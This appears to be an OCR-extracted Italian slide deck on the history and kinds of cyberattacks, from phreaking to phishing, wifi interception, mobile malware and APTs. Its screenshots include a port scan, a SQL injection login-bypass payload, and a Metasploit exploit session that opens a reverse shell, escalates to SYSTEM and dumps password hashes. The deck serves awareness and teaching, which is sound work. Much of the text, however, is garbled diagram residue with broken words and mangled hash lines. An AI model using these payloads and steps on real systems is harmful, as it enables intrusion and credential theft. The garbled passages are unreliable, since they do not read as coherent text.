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Attacchi informatici..

(stiamo parlando di)

e metodi attivi o passivi per

eabusare

- danneggiare / accedere / intercettare /
modificare / contraffare / ..

eillegalmente / non autorizzati
eapparecchiature / sistemi / reti
e dati

e altrui




Attacchi informatici..

(non stiamo parlando; dij)

e privacy / tracking / ..

¢ OSINT (Open Source Intelligence)

e “pirateria” (diritti, copyright, DRM, ..)
ecOntestazione / parodia

e netstrike

e diffamazione
e penetration testing & co.




Chi?

(e chil lif spinge? Spingitori di attacker!)

e “Curiosi” / “Ragazzini” / ..

e Hacktivisti (Anonymous, ..)

e Piccola Criminalita (cani sciolti, truffatori, ..)
e Criminalita organizzata (RBN, ..)

e Investigazioni private / raccolta informazioni
e Concorrenti / Spioni industriali

e Law Enforcement

e Governi / Servizi Segreti / “Intelligence”
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) Spyware. HackingTeam - Securelist -

File Edit

Wiew History Bookmarks Tools Help

Y

@ www.securelist.com/enfanalysis/204792290/Spyware_HackingTeam

Spyware. HackingTeam

Table of Contents
e Spyware for law enforcement
* HackingTeam
» Evidence
* Arather strange spy
o Praliferation
o Exploits
® How it works
* OFM Security
* |nfection stats
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Cosa?

(Long long time ago..- in a galaxy.. ehm.. B.l.)

e phreaking

esocial engineering (telefono, persona)
e malware (virus, trojan)

e X25 / itapac / videotel

e RAS / BBS

¢1-800-... / green

eLayer 1 (Physical)




Layer 17 Layer 072

http://xkcd.com/538/

A CRYPTO NERD'S
IMASINATION - :
HIS LAFTOPS ENCRYPTED. H'S LAPTOP'S ENCRYPTED.
LETS BUILD A MILLION-DOLLAR, DRUG HIM AND HIT HIM WITH
cu_:-m To CRACK \T. THIS $§5 WRENCH UNTIL
NO GooD! T Hamusmwawﬂm
ELPET' OUR
EVIL PLAN
1S FOILED! ™




(Long time ago.. attacchi 1.0)

esocial engineering (mail)
e malware (worm, dialer)

e attacchi client/server

 siamo tutti amici
* no firewall, mom!

* Kevin Mitnick anyone?

e DOS (Denial of Service)




Ownlng the Enterprise 1.0

Inl una Internet remota, molti anni fa ..

web server mail server db server

i u_

\@

terminale

desktop <
desktop

dep. server

terminale desktop




Discovery...

Ownilng the Enterprise 1.0

web server mail server db server

i
ext. router % file server

e 1’

|
/ \ i dep. server
LA

Mr. Malicious 1.0

— terminale
desktop :
desktop
utente remoto wan router / i<\ dep. server

=,

terminale desktop
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Discovery...

Ownilng the Enterprise 1.0

web server mail server db server

= —_—

Mr. Malicious 1.0

ext. router

—=—s

dep. server

= = 1

. 2= terminale
desktop i

desktop

utente remoto dep. server

¥

terminale desktop
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wwad E
2 (
23/tcp telnet router
1239
7/tcp echo
Mr. Mal 9/tcp discard?
13/tcp daytime
19/tcp chargen
21rtep ftp 10.x ftpd 4.1 (Tue May 15 16:38:46 CDT 2001) rver
23/tcp telnet telnetd
25/tcp smtp 8.9.3/8.9.3 (AIX 4.3)
37/tcp time bits) er
~ 53/tcp domain Bind 8.X
J o 512/tcp exec rexecd
513/tcp rlogin
utente re 1002/tcp status (rpc #100024)
1521/tcp oracle-tns TNS Listener
e it 1 I
1080/tcp socks5 authentication required
8080/tcp http-proxy webproxy 2.4.STABLE1
utente Lo B
80/tcp http 11S webserver 4.0
i 5T of el msrpc  Windows RPC
139/tcp netbios-ssn
5900/tcp vnc (protocol 3.1) =
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Exploiting..-
Ownilng the Enterprise 1.0

web server mail server db server

Mr. Malicious 1.0

ext. router | file server

utente remoto

= /////' e P e
i |

g

utente remoto wan router

[C} COPYRIGHT IEBW CORP. 1980, 2002

\
@ ] | 06/053

terminale  desktop
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Exploiting..-

Ownilng the Enterprise 1.0

web server mail server db server

\

Mr. Malicious 1.0

' ext. router

*"""&‘*
.‘

S o 2y =

e terminale

dep. server

{'

utente remoto

desktop
desktop

o

utente remoto -y " dep. server

terminale desktop
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(Some time ago.. attacchi 1.5)

esocial engineering (fake web / phishing)

e malware

* Spyware
- keylogger
« bank-aware

eapplicazioni web
e Wireless (wardriving, no encryption, WEP, ..)

e DDOS (Distributed Denial of Service)




Ownlng the Enterprise 1.5

web applications, WiEl, VPNs, ...

web server mail server db server

ext. router / . file server

\
dep. server

firewall

—

wifi user

desktop
wifi user

utente remoto dep. server

desktop desktop
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Ownlng the Enterprise 1.5

web applications, WiEl, VPNs, ...

web server mail server db server

b
it

=
)

/
firewall - //' dep. server

: - _ & access pint
dop

wifi user

desktop

utente remoto e
dep. server

wifi user




Discovery...

Ownilng the Enterprise 1.5

web server mail server db server

' oxt. router /\ 1,/ ﬁ file server
o 0

___,./'

‘ access point

wifi user

desktop

A
utente remoto e
dep. server

desktop desktop

wifi user
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Discovery...

Mr. Mal

& =
o

utente re

Ed koba@kvaioZ.internal.lan: fhome/koba/LAPTOP/Fortinet/ScreenShots

Ownilng the Enterprise 1.5

web server mail server

db server

.2 3,02

g e 0 1 T

] e P B

80/tcp

53/tcp
443/tcp

25/tcp
80/tcp
443/tcp
993/tcp
995/tcp

utente remoto

http

domain
ssl/http

smtp
http
ssl/http
ssl/imap
ssl/pop3

desktop

o~

I11S webserver 6.0

BIND 9.X

httpd 2.0.49 ((Linux/SuSE))

smtpd
httpd
httpd
Dovecot imapd

desktop

dep. server

rver

er
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Exploiting..-

Ownilng the Enterprise 1.5

web server mail server db server

/ﬁ

: /ﬁ Hle server
\ -

firewall dep. server

o
&l access point

Mr. Malicious 1.5

ext. router

utente remoto

e :
B desktop m '
- desktop
wifi user

L — wifi user
-I'H"M‘;.w

utente remoto

' dep. server

desktop desktop
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Exploiting..-

Ownilng the Enterprise 1.5

form di login

e Pt Yew o Qoskmans ok i I
.

et bogrd 1

” password:

v or ial=la

Mr. Malicious 1.5

utente remoto

| vetpan 2

« select * from utenti where userid = 'utente’ and

iy

utente remoto password ' or .a.=.a.

desktop desktop
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(Now.. attacchi 2.0 ..)

esocial engineering
- social network / messenger
e client-side attack

» Cross Site Scripting & Co.
- exploit applicazioni “client” -> LAN

- mobile

e Cloud lifestyle (Single Sign Own)




Ownlng the Enterprise 2.0

see mom.. nho direct traffic..

web server mail server db server

' ext. router /\ __/?/ ﬁ file server
R I =
,

Mr. Malicious 2.0

/ firewall

/7'._ << ' dep. server
g

& access point

wifi user

desktop

utente remoto e
dep. server

wifi user




Discovery...

Ownilng the Enterprise 2.0

web server mail server db server
@ Mozilla Firefox s o M
Mr. Malicious 2.0 File Edit View History Bookmarks Tools Help 3

@ | |http:ffwww.ceeeerca.urg| D-LI |v|GmgIe -}

Most Visited~ g Getting Started [o|Latest Headlines~

Ceeer a

utente remoto

T

utente remoto

————

desktop desktop
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Discovery...

@ igor falcomata - Cerca con Google - Mozilla Firefox

File Edit Wiew History Bookmarks Tools

Help

Most V

Cosa fai, ¢

Ass0Ciaz

WAL T mini
Copia cag

@ Igor Falcomata - LinkedIn - Mozilla Firefox

File Edit

@ Search Names: john smith | Facebook - Mozilla Firefox :

File Edit View History Bookmarks Tools Help

@ I | http:/fwww.facebook.com/srch.php?nm=john+sm

;I Gn:mgle

facebook
@ Facebook helps you connect 2

Searching for john smith

Displaying 1 - 10 of over 500 people who match "john

Sign Up —Y¥ou must sign up for Faceboo

MName:

John Smith

Q Add a Skype Contact

Search the Skype directory for old and new friends. If you know their Skype

name, full name or e-mail address, enter it into the box below.

Full Name

Skype Name

City, Country

Anna Falcomata

Cinzia Falcomata
Elisa Falcomata
Roberto Falcomata
Joseph Falcomata
Gabriella Falcomata

Loretta Falcomata

Miriam Falrnmati

annafalcol
cinzia.falcomata
elisa.falcomata
erreffesi

jofalco

lady _hawk5

loretta.falcomata

miriam falcamata

Sydney, AU
Toring, IT

pesaro, IT

Milano, IT
Sydney, AU
Reggio Calabria, IT

Al

Rennin Calahria 1T

Add Contact

MNew Search H Close

SOME RIGH




Exploiting..-

Ownilng the Enterprise 2.0

web server mail server db server

b
it

ext. router \ 2
/ -

/ firewall

___,./'

‘ access point

desktop

A
utente remoto e
dep. server

desktop desktop

desktop '
wifi user
wifi user
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Exploiting..-

Ownilng the Enterprise 2.0

web server mail server db server

ﬁ file server

' dep. server
\‘ accesspoint

=== desktop '
- \I\ desktop

wifi user

Mr. Malicious 2.0

ext. router

L — wifi user
-I'H"M‘;.w

utente remoto -<\' dep. server

desktop desktop
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Social engineering 2.0

3" party

- Hey, sono Bill, il collega

— J¢ di Canicatti... ti ricordi?
= WM Esy Bill, doms vae

== 1 33] zigleorz) zl mEiridanlng

I




Phishing

..-NOoN soelo verso siti dil banking

@ Login - Mozilla Firefox

File Edit Wiew History Bookmarks Tools Help

" & faat I ' http://goldbase.be/

j |v |Goog|e

5 Most Visited> |g|sik.org |o|fmeat @uf & dilbert Fflxkcd @hobsd] ffpppc Bufblg (o|pi @kobsd = sf (¢ sdot @§osn pEhad

m We helps you connect and share with the people in your life.

Email:
Password:

[(JrRemember me

Forgot your passward?

& 2009

Login About Advertising Careers Terms Privacy Mobile Help

il Done
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Tinyurl & co..

..come offuscare un link con un semplice; click

@® Skype Chat

() Add People |4, Send File(s) ﬁ Chat History
Doubleclick here to set chat topic

[09:21:40] 31337: http:/ftinyvurl.com/flcb5t4

File Edit View History Bookmarks Tools Help
= @ @ I|http:f,"www.cim:culatai.it,"questu_url_putrebbe_essere_periculc ;Z':'Z.Ll |V|Google

| [5 Most Visited> g Getting Started [o|Latest Headlines~

2 Emoticons

Dude Baby Skull by Creative Staff @ Dude Shoes is licensed under a Creative Comimons Attribution-Moncommercial-Wo Derivative Works 3.0 United States
License.
Based on a work at www.dudeshoes.org

Done

SUME HIGH IS RESERVED



One-Click-Exploit

(sperando che Ama*on non reclami i diritti)

() Add People 4, Send File(s) ﬁ Chat History
Double-click here to set chat topic

[09:21:40] 31337: http:/finvurl.com/ich5t4

(! Emoticons

Edit Profile

SOME RIEHTE RESERVED



Just click to launch..

..the good ole Internet Exploder..

7 http:/110.0.1.104:BOBOZxguHraDqVTMjuRDSYQD - Microsoft Internet Explorer &
File  Modifica  Visualizza  Preferiti  Strumenti 7 ;#
: : e £ , e _ -
@ Add People ;‘u Send File(s) ‘ @ Indietro \\J @ @ i:j .J:) Cerca WPreferltl @' @ .,i# .ﬂ
Double-click here to set chat topic Indirizzo | €] http:/f10.0.1.104:8080/?xquHraDay TLWRDSVQD v Bva  collegamenti

[09:21:40] 31337: http:/ftinvurl.comfid

(Click)

(=) Emoticons

@ Operazione completata ﬂ Internet

u_ir + Start <R http:i10.0.1.104:50. .,

SOME RIGH




Meanwhile, back at the ranch..
.-a cowboy sittingl in the dark..

2 http:#10.0.1.104:B0B0/ZxguHraDqV TMjuRDSVQD - Microsoft Internet Explorer M=
M
)

File  Modifica Visualizza  Preferiti  Strumenti 7

| @ Skype Chat

() Add People .4, Send File(s)

- P -
Collegamenti

Doubleclick here to set chat topic

31337: http:fftinvurl.coml

msf exploit{ms1@_002Z2_ourora) > exploit -
[*] Started reverse handler on 10.9.1.184:443
[*] Using URL: http://0.0.0.0:8030/

[*] Local IP: http://10.0.1.104:8280/

[*] Server started.

[*] Sending Internet Explorer “Aurora®™ Memory Corruption to client 128.8.1.136

[*] Sending stage (749056 bytes) to 106.0.1.136

[*] Meterpreter session 1 opened (10.0.1.1084:442 -> 10.0.1.136:58559) at 2010-12-21 13:18:06 +0200

mef exploit(ms1@ 82 ourora) > sessions -i 1

frmme—m

[*] Starting interaction with 1...

meterpreter > shell
Process 430 created.

Channel 1 created.
Microsoft Windows XP [Versione 5.1.2608]
CC) Copyright 1985-720@1 Microsoft Corp.

C:\Documents and SettingssbaltarDesktops

éil Operazione completata ﬂ Inkternet
7 Fa
1y Start R hetpejf10.0.1. 10480, . EM I 'Y, 1518

SOME RIEHTE RESERVED



Game Over

thnxs/credits: unknow +hdm@metasploit-com

e JIAN N A ANA-RARA PvanHeaNal TiiaDNEUNAN _ Micraeaft Intarnat Fynlarar
C: \[IE-cments and Sethms\bultur‘xﬂesktﬂp}di.r C:M
dir C:M
Il volume nell*unit® C non ha etichetta.
Numero di serie del volume: 6813-B98S

Directory di C:\

21/196/2010 14.54 ® AUTOEXEC.BAT
21/18/2010 14.54 0 CONFIG.SYS
2l/1e/2816 15.11 <DIR> Documents and Settings
21/10/2016° 15.11 <DIR> Programmi
21/10/2010 15.11 <DIR= WINDOWS

2 File @ byte

3 Directory 8.961.50F.328 byte disponibili
C:\Documents and Settings\baltar\Desktop

meterpreter > getsystem
 --.got system (via technique 1).
meterpreter > getuid

Sewer username: NT AUTHORITYNSYSTEM

'meterpreter > hashdump
M’rlin‘istmtﬁr 500:031d20e2331 47195468000 d 923944 4115c44~21ﬁ49155hdﬁ&e1ebcc53d13. -
hultur 1003 : aod3b435b51404ecand3b435b51404ee: ﬂﬁcfﬂdlﬁnﬂﬂlﬁkﬁ?ﬂeﬂcﬂﬂgc@
Guest:501 : 0ad3b435b51404eeaadIb435b51404ee : 31 d6cfeBd160e931 b7 3cSOdT ODIICO : -
'HelpAssistant:100@:659c36Fabffblof2adal 92855207 fele: MEDEEI%E'FEEGZEEEB'!-EEEMIEW' me
SUPPORT_38894508 : 1002 : 0ad3b435b51 4ddecaad3ba35b51404dee EEIESEIEEdEBIBHfEhFBF?Fﬁﬂ?I

T Aroposioe. e e
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Command & Conquer

“Welcome, master!”

web server mail server db server

=

Mr. Malicious 2.0

¢ "
2 §

utente remoto

NN
=

ext. router

file server

' dep. server

& access point

/ v

firewall

wifi user
 — wifi user
o

utente remoto . server

desktop desktop
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e malware

- targetted spyware
« SCADA (Stuxnet, ..)
- mobile

 mass exploiter

e VOoIP phreaking
e SCADA (Smart cities, Internet of things, ..)
* (ho gia detto?) mobile




One-Click-Mobile-Exploit

(saltiamo la parte di “click™)

web server app backend db server

3" party

Mr. MobileMalicious

?

BYOD user

wifi user

hot-spot user " .

servizi in cloud
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One-Click-Mobile-Exploit

(saltiamo la parte di “click™)

3¢ party |® Vettori:

 e-mail

 link su social network
~%7 +MiTM / dns spoofing / ..

o exploit:
¥ * sito malicious ->

__= \‘;& \l\  app (pwned) ->

@‘ ' * kernel (pwned) ->
hot-s_p;t_user 5 r— e rOOt!!

servizi in cloud




Telefono.. casa..

(Intercettazione, posizione, posta, SN, $%, -.)

web server app backend db server

3™ party _
Mr. MobileMalicious _ '
: ,"r- ext. router /ﬁ file server
i dep. server
‘ access point
= - .-!.r Frr :‘
BY

0D user

wifi user

hot-spot user " .

servizi in cloud
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Rogue App

http://blogs.mcafee.com/mcafee-labs/android-malware-pairs-man-in-the-middle-
with-remote-controlled-banking-trojan

@ Android Malware Pairs Man-in-the-Middle With Remote-Controlled Banking Trojan | Blog Central - Mozilla Firefox T E E
File Edit Wiew History Bockmarks Tools Help

mcafee.com/m

mloken

08827078

d to obtain initi
or. When the
5 s the fake token (whic in fact a randem number
|l phene number : g t 3 i iers (IMEI and IR
ent to one of the control s along with further
finds the list of b frorm an XML fil ide the o||q|r|=I APK
, are loaded and stored in anothe
the devi

—<settingsSet>
<catchSmsList class="java.util. ArrayList"/>
<deleteSmsList class="java.util. ArrayList"/>
<number>7 7 </number>
<version>1.0<fversion>

e TR e Lhiern e TS L ad
L — ]

SOME RIEHTE RESERVED



Trojan App

http://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/
http://jon.oberheide.org/files/summerconl0-androidhax-jonoberheide.pdf

log - remote kil and install on google android - Mozilla Firefox :

sokmarks Tools Help

0g/2010/06/25/remote-kill-and-install-on-google-androidf

RootStrap Background

So if you didn't check out my slides from SummerCon last week in NYC, | talked a hit about a program

called RootStrap in the second half of my talk. RootStrap is intended as an example of an application
that could be used to hootstrap a rootkit (hence the name). Summed up as briefly as possible,
RootStrap phones home periodically to fetch remote native ARM code and executes it outside the
Dalik WM. An attacker could use such an approach to gain a large install base for a seemingly
innocent application and then push down a local privilege escalation exploit as soon as a new
wulnerability is discovered in the Linux kernel and root the device. Since carriers are fairly consemvative
in pushing out OTA patches for their devices, an attacker could easily push out their malicious payload
before the devices were patched.

Bl @ sioem’

ht Eclipse Preview  Instalied

5

i M@ s:10em’
Twilight Eclipse Preview

Dberhelde LA

¥ R W R

My rating

Post a comment

Preview of new Twilight Eclipse
movie,

Open Uninstall

In addition to the sample RootStrap application, | also posted an innocent looking app called "Twilight
Eclipse Preview” that claimed to be a preview of the upcoming Twilight Eclipse movie to the Android
Market. The Twilight app was actually just RootStrap in disguise, displaying a Twilight image while

-applicazione “innocente”
pubblicata sul market
«“call home”

sscarica malicious payload
‘lo esegue run-time




(Anytime 24/7)

eSE€Mmpre
- mass exploiting
- malware
- mobile / home users
 APT / covert channel

edal venerdi alle 18.01
al lunedi alle 07.59

 attacchi mirati




(Thisi Isi the net, baby)

e Internet
e Hot Spot / Rogue AP
e LAN

 Internet -> client side attack -> LAN
- mobile -> O0OB -> LAN
- malware

e nella tua tasca ..
e altro (rRAs, x25, VPN, ..)




Un esemplo a caso..

Hot-Spot Wifi

web server app backend db server

"

N

—— !I file server
_— /

firewall dep. server

el \- access point
desktop E _

iy, desktop el

. BYOD user

ext. router

........

) o S, wifi user
N -.-. 1 h
| | L
b, =3 i
hot-spot user - —— .E'

servizi in cloud
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Hot-Spot Wit

(state usando lo smartphone invece di seguire.. ?

web server app backend db server

/ﬁ flle Sever

dep. server

ext. router

firewall

e / - access point
Tk T |
—— desktop -
BYOD user

e - wifi user
-~ - L
| | '-.
e N .|

hot-spot user .

servizi in cloud
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Hot-Spot Wifi

(state usando lo smartphone invece di seguire.. ?7)

ext. router

!I file server

dep. server

\ access point

........

Mr. WifiMiTM

E |
desktop desk top E _
: desktop ey
- ) BYOD user
f " wifi user
L l v L
“'-_l"-'__—ﬂ- h __I
hot-spot user S —— _=!

servizi in cloud
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MiITM

(@rp poisoning, DHCP stealing, rogue AP, ..)

web server app backend db server

ﬁ
V) file server

firewall

ext. router

dep. server
Mr. WifiMiTM

- access point

R desk top 1]
. desktop -
. BYOD user

=l wifi user

hot-spot user .

servizi in cloud
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S1, ma 10 uso HT TPS...

(e 1l certificati? chi pensa ai certificati?)

web server app backend db server

A\ Awiso di proteziong

Problemi con il certificato :
protezione del sito. X Il nome del sito non

corrisponde al nome nel
X 1l nome del sito non certificato.
corrisponde al nome ne

certificato. Rilasciato a:

Mome comune:
Visualizza PortSwigger
certificato

Organizzazione:
PortSwigger

Unitd organizzativa: desktop
PortSwigger BYOD user

Rilasciato da: - wifi user

hot-spot user —

servizi in cloud
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Game Over.

(e non dimentichiamoci delle app--)

E Burp Suite Professional v1.4.12 - licensed to Enforcer [single user license] &
Burp Intruder Repeater “Window Ahout

: F!rcl}g_f.T Spider T St:annerT Intruder T Repeater T Seguencer T Cecoder T Comparer T Options T Alerts ]

Intercept T Options T History ]

A :| e Request to https:/fwww. cioccolataiit: 443 [188.40.104.236]

Forward J [ Crop J [ Intercept is on ] [ Action |Comment this item

Prok
prot e T Params T Headers T Hex ]

POST /mail/rpage=login HITP/L1.1
M Host: www.ciocccolatai.it
)| Accept-Encoding: gzip
Beferer: https: //www.cioccolatal.it/mail/s
Accept-Langquage: it-IT, en-U3
Uger-Agent: Mozilla/5.0 (Lima; U Andreid 2.3.7; it-it: Geekasphones ONE Build/GEI40; CyanogenMod-7) AppleWebFit/s/533.1 (FHTML, like
Gecko) Version/4.0 Mobile Safaris533.1
Origin: https://www.cloccolatai.itc
Accept: application/xml,application/xhtml+xnl , text/html;q=0.%9,text/plain;q=0.8, inage /png, */*:q=0. 5
Content-Type: application/x-www-form-urlencoded
Accept-Charset: utf-8, iso-8855-1, utf-1le, *;q=0.7
Content-Length: 33

uger=useridlexample. comepass=Superiegretlslogin=Entra

C

[ = Jl + H = J jTypeasearch term | soaiskas

SOME RIGH




Perche?

(mass exploiting, malware; ..)

e “fama’” / vandalismo / bullismo

ezombie / botnet
- spam / phishing
- anonimizzazione / bouncing
- DDOS
 distributed computing (bitcoin mining, ..)

e furto

 identita / credenziali / dati privati
- soldi (home banking, dialer, ricatto, ..)




Perche?

(mass exploiting, malware; ..)

e “fama’” / vandalismo / bullismo
ezombie / bothet

Follow the money!

 distributed computing (bitcoin mining, ..)

e furto

 identita / credenziali / dati privati
- soldi (home banking, dialer, ricatto, ..)




Perche?

(attacchi mirati)

e privati
* bullismo / mobbing / voyeurismo / ..
- rivalsa / ricatto / ..

e hacktivism

s ¥Xleaks
« defacement
- protesta (DDOS, ..)

elaw enforcement




Perche?

(attacchi mirati)

eaziende

 iInvestigazioni / HR

- spionaggio industriale

- concorrenza sleale (DDOS, ..)
egoverni / servizi

* spionaggio & co.

- repressione / controllo / “intelligence”

- cyberwar




Command & Conquer

http://voices.washingtonpost.com/securityfix/assets c¢/2009/05/hackdpcil.html

Phishing Site

Web Server

Malware Download Site

Warez/FPiracy Server

Child Pornography Server

Spam Site

Webmail Spam
Stranded Abroad Advance Scams

Harvesting E-mail Contacts '\ E-Mail Attacks

Harvesting Associated Accounts

Access to Corporate E-mail

Online Gaming Characters

Online Gaming Goods/Currency

PC Game License Keys

Operating System License Key

s Virtual Goods

Spam Zombie

Bot Activi
DDoS Extortion Zombie

Click Fraud Zombie

Anonymization Proxy
CAPTCHA Solving Zombie

eBay/Paypal Fake Auctions

Online Gaming Credentials
Account Credentials J/ Web Site FTP Credentials

Skype/VolP Credentials

Client Side Encryption Certificates

Bank Account Data
Credit Card Data

Financial Credentials

Stock Trading Account
Mutual Fund/401K Account
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(Advanced Persistent Che?)

Advanced persistent threat - Wikipedia, the free encyclopedia - Mozilla Firefox -0 X

File Edit V\iew History Bookmarks Tools Help

.~

WIKIPEDIA
'The Free Encyclopedia

Main page
Contents
Featured content
Current events
Random article

Donate to Wikipedia

+ Interaction
Help
About Wikipedia
Community portal

Create account & Log in

Article Talk Read Edit View history !Search Q

Advanced persistent threat

From Wikipedia, the free encyclopedia

Advanced persistent threat (APT) usually refers to a group, such as a foreign
government, with both the capability and the intent to persistently and effectively target a
specific entity. The term is commonly used to refer to cyber threats, in particular that of
Internet-enabled espionage using a variety of intelligence gathering techniques to access
sensitive information,!*! but applies equally to other threats such as that of traditional
espionage or attack.!”! Other recognized attack vectors include infected media, supply chain
compromise, and social engineering. Individuals, such as an individual hacker, are not
usually referred to as an APT as they rarely have the resources to be both advanced and
persistent even if they are intent on gaining access to, or attacking, a specific target.m

Contents [hide]

@ enwikipedia.orgjwikijadvanced_persistent_threat it @ Iv Google r\ @ @

j
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